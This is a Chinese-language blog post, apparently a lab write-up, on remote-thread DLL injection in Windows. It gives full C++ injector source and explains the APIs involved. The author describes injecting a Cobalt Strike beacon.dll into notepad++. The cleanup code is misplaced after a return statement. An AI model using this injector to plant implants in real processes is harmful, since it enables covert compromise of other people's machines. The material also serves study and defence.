DLL加载器-远程线程注入(常规dll注入)

在这里插入图片描述

实验

注入思路
先获取到LoadLibrary的函数地址,之后使用CreateRemoteThread加载这段地址即可
简单例子:
D:\VS项目\Dll3\x64\Debug\Dll3.dll
kernel.dll加载的地址在所有进程都是一样的
https://zhuanlan.zhihu.com/p/599915628?utm_id=0
DLL进程注入
dll注入器

#include<stdio.h>
#include<Windows.h>
#include<iostream>
#include<string>
using namespace std;
BOOL CreateRemoteDllInjectDll(DWORD dwProcessId, char* pdllname);
int main() {
    DWORD dwProcessId;
    char DLLName[20]; //需要输入的DLL文件名字
    cout << "Pleace input DLLfile name :" << endl;
    cin >> DLLName;
    cout << "Pleace input PRocessID :" << endl;
    cin >> dwProcessId;
    CreateRemoteDllInjectDll(dwProcessId, DLLName);

    return 0;

}
/**
 1.打开要注入的进程
 2.给进程分配虚拟内存 VirtualAllocEx
 3.给分配的内存写入要注入的DLL目录
 4.找到 kernel32.dll 模块的里面的LoadLibrary函数的地址
 5.用CreatRemoTethread给目标进程注入dll
 6.关闭目标进程的句柄
**/
BOOL CreateRemoteDllInjectDll(DWORD dwProcessId, char* pdllname) {
    HANDLE hProcess = NULL;    //进程句柄初始化
    LPVOID pDLLAddr = NULL;    //内存中申请空间时返回的页面基址 初始化
        HMODULE hker = NULL;
    FARPROC pFunProcAddr = NULL;  //kernel32.dll中loadLibrary函数的地址 初始化
    DWORD dwsize = 0;   
    hker = GetModuleHandleA("kernel32.dll"); //得到kernel32.dll进程中的地址
    if (NULL == hker) {
        puts("GetModuleHandle kernel32.dll  is error");
        return false;
    }

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwProcessId);//打开要注入的进程  
    if (NULL == hProcess) { // 检查打开进程是否成功
        puts("OpenProcess is error");
        return false;
    }
    dwsize = strlen(pdllname) + 1; //DLL文件目录的长度,也就是欲分配的内存大小
    pDLLAddr = VirtualAllocEx(hProcess, NULL, dwsize, MEM_COMMIT, PAGE_READWRITE);  //在指定的进程中分配内存空间
    //申请的内存空间,并且地址保存在pDLLAddr目录中
    if (pDLLAddr == NULL) {  //检查  
        puts("VirtualAllocEx is error");
        return false;
    }
    if (!WriteProcessMemory(hProcess, pDLLAddr, pdllname, dwsize, NULL)) {//把所需要的注入的dll文件目录字符注入给目标进程,也就是把DLL完整路径名写入进程中
        puts("WriteProcessMemory is error");
        return false;
    }
    pFunProcAddr = GetProcAddress(hker, "LoadLibraryA"); //得到loadlibrarya函数的地址
    if (pFunProcAddr == NULL) {
        puts("Get LoadLibraryA is error");
        return false;

    }
    HANDLE hRemotehandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(pFunProcAddr), pDLLAddr, 0, NULL); //创造远程线程
    if (!hRemotehandle) {
        puts(" CreateRemoteThread is error");
        return false;
        WaitForSingleObject(hRemotehandle, INFINITE);
        CloseHandle(hRemotehandle);//关闭句柄
        CloseHandle(hProcess);
        return 0;

    }

}

生成dll-2-1.exe
在这里插入图片描述
这里注入的exe是notepad++,找到其进程,注入的dll是我cs生成的beacon.dll
在这里插入图片描述
主要思路是:
1.先用GetModuleHandleA获得kernel32.dll进程中的地址(为了GetProcAddress获得函数地址,因为需要先有进程地址)
2.VirtualAllocEx然后在指定进程中分配内存空间
3.WriteProcessMemory把所需要的注入的dll文件目录字符注入给目标进程
4.GetProcAddress得到loadlibraryA函数的地址(重要步骤1)
5.CreateRemoteThread创造远程线程(重要步骤2)
6.关闭句柄

发现notepad++可以注入进去,但是用默认Microsoft Edge浏览器是注入不进去的
在这里插入图片描述
暂缺的是不能注入

涉及函数

GetModuleHandleA

获取一个应用程序或动态链接库的模块句柄。如执行成功成功,则返回模块句柄。零表示失败。只能返回本进程当中包含的dll。

OpenProcess

OpenProcess(PROCESS_ALL_ACCESS, false, dwProcessId);

PROCESS_ALL_ACCESS为设置句柄的新的访问权限,false为初始状态,dwProcessId指的是事件名称
用来打开一个已存在的进程对象,并返回进程的句柄。
函数原型:

HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);

参数:

a.dwDesiredAccess:想拥有的该进程访问权限
PROCESS_ALL_ACCESS  //所有能获得的权限
PROCESS_CREATE_PROCESS  //需要创建一个进程
PROCESS_CREATE_THREAD   //需要创建一个线程
PROCESS_DUP_HANDLE      //重复使用DuplicateHandle句柄
PROCESS_QUERY_INFORMATION   //获得进程信息的权限,如它的退出代码、优先级
PROCESS_QUERY_LIMITED_INFORMATION  /*获得某些信息的权限,如果获得了PROCESS_QUERY_INFORMATION,也拥有PROCESS_QUERY_LIMITED_INFORMATION权限*/
PROCESS_SET_INFORMATION    //设置某些信息的权限,如进程优先级
PROCESS_SET_QUOTA          //设置内存限制的权限,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME     //暂停或恢复进程的权限
PROCESS_TERMINATE          //终止一个进程的权限,使用TerminateProcess
PROCESS_VM_OPERATION       //操作进程内存空间的权限(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ            //读取进程内存空间的权限,可使用ReadProcessMemory
PROCESS_VM_WRITE           //读取进程内存空间的权限,可使用WriteProcessMemory
SYNCHRONIZE                //等待进程终止
b.bInheritHandle:表示所得到的进程句柄是否可以被继承
c.dwProcessId:被打开进程的PID

返回类型

如成功,返回值为指定进程的句柄。
如失败,返回值为NULL,可调用GetLastError()获得错误代码。

通过一个进程关闭另外一个进程的时候,一般的做法就是枚举系统打开的所用进程的标识符(PID),使用OpenProcess函数获得进程的句柄,该函数可以通过第一个参数来设置句柄的新的访问权限,比如如果打开的句柄不具备终止句柄的权限,直线终止进程操作会失败,返回的错误代码为5(意思为拒绝访问)。通过获得的句柄就可以获得进程名字(通过GetModuleBaseName函数),通过比对进程名字就可以获得我们指定要关闭的进程。注:要使用closeHandle函数来削减进程计数器。

VirtualAllocEx

作用是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0。
函数原型

VirtualAllocEx(
    _In_ HANDLE hProcess,
    _In_opt_ LPVOID lpAddress,
    _In_ SIZE_T dwSize,
    _In_ DWORD flAllocationType,
    _In_ DWORD flProtect
    );

参数

hProcess
申请内存所在的进程句柄。
lpAddress
保留页面的内存地址;一般用NULL自动分配 。
dwSize
欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍
flAllocationType
可取下列值:
MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
MEM_PHYSICAL :分配物理内存(仅用于地址窗口扩展内存)
MEM_RESERVE:保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用VirtualAlloc()而被占用
MEM_RESET :指明在内存中由参数lpAddress和dwSize指定的数据无效
MEM_TOP_DOWN:在尽可能高的地址上分配内存(Windows 98忽略此标志)
MEM_WRITE_WATCH:必须与MEM_RESERVE一起指定,使系统跟踪那些被写入分配区域的页面(仅针对Windows 98)
flProtect
可取下列值:
PAGE_READONLY: 该区域为只读。如果应用程序试图访问区域中的页的时候,将会被拒绝访
PAGE_READWRITE 区域可被应用程序读写
PAGE_EXECUTE: 区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。
PAGE_EXECUTE_READ :区域包含可执行代码,应用程序可以读该区域。
PAGE_EXECUTE_READWRITE: 区域包含可执行代码,应用程序可以读写该区域。
PAGE_GUARD: 区域第一次被访问时进入一个STATUS_GUARD_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限
PAGE_NOACCESS: 任何访问该区域的操作将被拒绝
PAGE_NOCACHE: RAM中的页映射到该区域时将不会被微处理器缓存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE标志可以和其他标志合并使用以进一步指定页的特征。PAGE_GUARD标志指定了一个防护页(guard page),即当一个页被提交时会因第一次被访问而产生一个one-shot异常,接着取得指定的访问权限。PAGE_NOCACHE防止当它映射到虚拟页的时候被微处理器缓存。这个标志方便设备驱动使用直接内存访问方式(DMA)来共享内存块。
返回值
执行成功就返回分配内存的首地址,不成功就是NULL。

WriteProcessMemory

WriteProcessMemory(hProcess, pDLLAddr, pdllname, dwsize, NULL)
函数原型

WriteProcessMemory(
    _In_ HANDLE hProcess,
    _In_ LPVOID lpBaseAddress,
    _In_reads_bytes_(nSize) LPCVOID lpBuffer,
    _In_ SIZE_T nSize,
    _Out_opt_ SIZE_T* lpNumberOfBytesWritten
    );

参数
hProcess:指向目标进程的句柄。
lpBaseAddress:指向要写入数据的内存地址。
lpBuffer:指向用于存储写入数据的缓冲区。
nSize:指定要写入的数据的大小。
lpNumberOfBytesWritten:指向存储已写入的数据大小的变量的指针。
返回值
如果函数成功则返回非零值,否则返回零。

GetProcAddress

GetProcAddress函数被用来检索在DLL中的输出函数地址。
GetProcAddress(hker, “LoadLibraryA”)
函数原型

GetProcAddress(
    _In_ HMODULE hModule,
    _In_ LPCSTR lpProcName
    );

参数

hModule 包含此函数的DLL模块的句柄
lpProcName 包含函数名的以NULL结尾的字符串,或者指定函数的序数值。如果此参数是一个序数值,它必须在低字,高字必须为0
返回值
如果函数调用成功,返回值是DLL中的输出函数地址。
如果函数调用失败,返回值是NULL。得到进一步的错误信息,调用函数GetLastError。

CreateRemoteThread

它能够创建一个在其它进程地址空间中运行的线程(也称:创建远程线程).。
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(pFunProcAddr), pDLLAddr, 0, NULL);
函数原型

CreateRemoteThread(
    _In_ HANDLE hProcess,
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ SIZE_T dwStackSize,
    _In_ LPTHREAD_START_ROUTINE lpStartAddress,
    _In_opt_ LPVOID lpParameter,
    _In_ DWORD dwCreationFlags,
    _Out_opt_ LPDWORD lpThreadId
    );

参数
[1] hProcess [in]
线程所属进程的进程句柄.
该句柄必须具有 PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE,和PROCESS_VM_READ 访问权限.
[2] lpThreadAttributes [in]
一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性.
[3] dwStackSize [in]
线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小.
[4] lpStartAddress [in]
在远程进程的地址空间中,该线程的线程函数的起始地址.
[5] lpParameter [in]
传给线程函数的参数.
[6] dwCreationFlags [in]
线程的创建标志.

含义
0线程创建后立即运行
CREATE_SUSPENDED 0x00000004线程创建后先将线程挂起,直到 ResumeThread 被调用.
STACK_SIZE_PARAM_IS_A_RESERVATION 0x00010000dwStackSize 参数指定为线程栈预订大小,如果STACK_SIZE_PARAM_IS_A_RESERVATION没有被指定,dwStackSize 参数指定为线程栈分配大小.

[7] lpThreadId [out]
指向所创建线程ID的指针,如果创建失败,该参数为NULL.
返回值
如果调用成功,返回新线程句柄.
如果失败,返回NULL.

WaitForSingleObject

当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。
WaitForSingleObject函数用来检测hHandle事件的信号状态,在某一线程中调用该函数时,线程暂时挂起,如果在挂起的dwMilliseconds毫秒内,线程所等待的对象变为有信号状态,则该函数立即返回;如果时间已经到达dwMilliseconds毫秒,但hHandle所指向的对象还没有变成有信号状态,函数照样返回。

参考文章:
https://www.codenong.com/p12172860/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值